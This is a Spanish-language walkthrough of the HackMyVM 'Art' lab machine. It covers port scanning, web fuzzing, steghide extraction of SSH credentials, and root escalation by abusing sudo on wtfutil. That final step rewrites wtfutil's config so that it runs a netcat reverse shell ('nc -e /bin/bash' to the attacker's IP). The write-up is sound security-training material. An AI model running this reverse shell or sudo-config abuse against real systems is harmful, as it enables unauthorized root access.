HackMyVM - Art

Introducción

En la maquina de hoy estaremos tocando los siguientes temas:

  • Web Enumeration

  • Esteganografía (steghide)

  • Escalada abusando permisos sudo archivo /bin/wtfutil config.yml"

Reconocimiento

Comprobamos que tengamos conexión con la máquina victima.

ping -c 1 192.168.138.138
PING 192.168.138.138 (192.168.138.138) 56(84) bytes of data.
64 bytes from 192.168.138.138: icmp_seq=1 ttl=64 time=0.364 ms

--- 192.168.138.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.364/0.364/0.364/0.000 ms

Con el TTL podemos saber que nos enfrentamos a una máquina Linux, ya que es ttl=63, así que es lo más cercano al 64 que es de Linux.

¿Cuales son los TTLs por defecto en los S.O?

  • Linux --> 64

  • Windows --> 128

  • Solaris/AIX --> 254

Nmap

# Nmap 7.93 scan initiated Fri Mar 31 08:24:42 2023 as: nmap -sSCV -p- --open --min-rate 4000 -v -n -Pn -oN nmapScan 192.168.138.138
Nmap scan report for 192.168.138.138
Host is up (0.0026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 45420f13cc8e49ddecf5bb0f58f4ef47 (RSA)
|   256 122fa363c27399e3f86757ab2952aa06 (ECDSA)
|_  256 f8797ab1a87ee99725c3404a0c2f5e69 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
MAC Address: 00:0C:29:BC:80:67 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 08:24:54 2023 -- 1 IP address (1 host up) scanned in 11.93 seconds
Parámetro
Descripción

-sS

Escaneo SYN Port scan, agiliza el escaneo

-sC

Para que envíe unos scripts básicos de reconocimiento que tiene Nmap en lua

-sV

Para que los puertos que encuentre abiertos nos muestre las versiones

-p-

Escanee todo el rango de puertos, que en total hay 65535

--open

Solo los puertos abiertos

--min-rate

Que no envíe paquetes más lentos que X

-v

Verbose, que muestre por pantalla los puertos que vaya encontrando antes de acabar el escaneo

-n

Para que no haga resolución DNS

-Pn

Para que no haga Host Discovery

-oN

Que el escaneo actual lo ponga en X archivo en formato normal (nmap).

Encontramos los siguientes puertos abiertos

  • 22 --> OpenSSH 8.4p1

  • 80 --> nginx 1.18.0

Enumeración

Puerto 80

En el código fuente encontramos lo siguiente en un comentario

Hacemos fuzzing con dirsearch a ver si encontramos algun directorio

sudo dirsearch -u http://192.168.138.138

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.138.138/_23-03-31_08-28-53.txt

Error Log: /root/.dirsearch/logs/errors-23-03-31_08-28-53.log

Target: http://192.168.138.138/

[08:28:53] Starting: 
[08:29:07] 200 -  170B  - /index.php                                        
                

Realizamos fuzzing al index.php ya que es la única ruta que encontramos, vamos a ver si encuentra algun archivo en index.php?FUZZ.

wfuzz -c --hc=404 --hh=170 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.138.138/index.php?FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.138.138/index.php?FUZZ=/etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                  
=====================================================================

000000450:   200        4 L      12 W       70 Ch       "tag"   
Parámetro
Descripción

-c

Formato coloreado

--hc

Que no muestre el código que le establezcas [Ej: --hc=404,403)

-t

Numero de hilos

-w

Wordlist

-u

URL

Y encontramos justamente lo que salía en el código fuente -->

  • tag

Ahora realizamos fuzzing pero en el parámetro "tag"

wfuzz -c --hc=404 --hh=170,70 -t 400 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.138.138/index.php?tag=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.138.138/index.php?tag=FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                  
=====================================================================

000002906:   200        4 L      14 W       93 Ch       "beauty"                                                                                                                                                                 
000009517:   200        4 L      14 W       93 Ch       "Beauty"                                                                                                                                                                 

Total time: 124.7086
Processed Requests: 220560
Filtered Requests: 220558
Requests/sec.: 1768.601
Parámetro
Descripción

-c

Formato coloreado

--hc

Que no muestre el código que le establezcas [Ej: --hc=404,403)

-t

Numero de hilos

-w

Wordlist

-u

URL

Encontramos 2 imagens en el "tag=":

  • Beauty

  • beauty

Explotación

Ambas imagenes salen lo siguiente:

Nos descargamos la imagen para ver si tiene algo oculto en la imagen, en este caso vamos a utilizar la herramienta steghide.

steghide extract -sf <imagen>
Parámetro
Descripción

extract

La herramienta tiene 2 opciones, embed y extract, este caso queremos extraer, si quisiéramos incrustar deberíamos utilizar embed

-sf

Especifique el nombre del archivo stego que se creará.

Es un usuario y una contraseña, sabemos que hay el puerto 22 abierto, vamos a hacer login a ver si son credenciales correctas.

Ha funcionado, así que ahora solo toca enumerar el sistema para encontrar el vector de escalada.

Escalada de Privilegios

Enumeración básica sistema

lion@art:~$ id
uid=1000(lion) gid=1000(lion) grupos=1000(lion),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
lion@art:~$ uname -a
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64 GNU/Linux
lion@art:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye
lion@art:~$ 

Por ahora nada interesante que podamos abusar.

Passwd

Encontramos 2 usuarios validos

  • root

  • lion

Permisos SUID

find / -user root -perm -4000 2>/dev/null

No hay ningún binario SUID que podamos abusar

Permisos sudo

sudo -l

Parece que nuestro usuario actual puede ejecutar como sudo sin tener que poner credenciales el binario /bin/wtfutil

Vamos a ejecutar el binario a ver que es

Arriba a la izquierda vemos que hay un archivo de configuración, vamos a analizarlo bien a ver si podemos abusar.

Igualmente ya vemos que en el propio programa hay una pestaña que ejecuta el comando "uptime"

Leyendo el archivo de configuración veo que podemos cambiar el comando uptime a otro comando, en esta caso nos daremos una reverse shell para que tengamos una shell como root.

Cambiamos el args y cmd por los siguientes parámetros:

args: ['-e','/bin/bash','192.168.138.129','443']
cmd: "nc"

Quedaría así

Nos ponemos en escucha:

Pero ahora si ejecutamos el wtfutil no nos dará la reverse shell ya que como ejecuta el programa como root, ejecutará el config.yml de root, y nosotros hemos cambiado el del usuario Lion.

Al hacer wtfutil --help vemos que se puede establecer con que config.yml queremos que se ejcute el programa

Así que solamente debemos establecer que ejecute como root pero con el archivo de config de Lion

sudo -u root /bin/wtfutil --config=/home/lion/.config/wtf/config.yml

Y nos da la shell

User flag

Root flag

Despedida

La verdad es que está máquina me gusto muchisimo ya que nunca habia tocado esteganografía y me ayudo a aprender mucho del tema.

¡Espero que hayais disfrutado de la máquina!

Last updated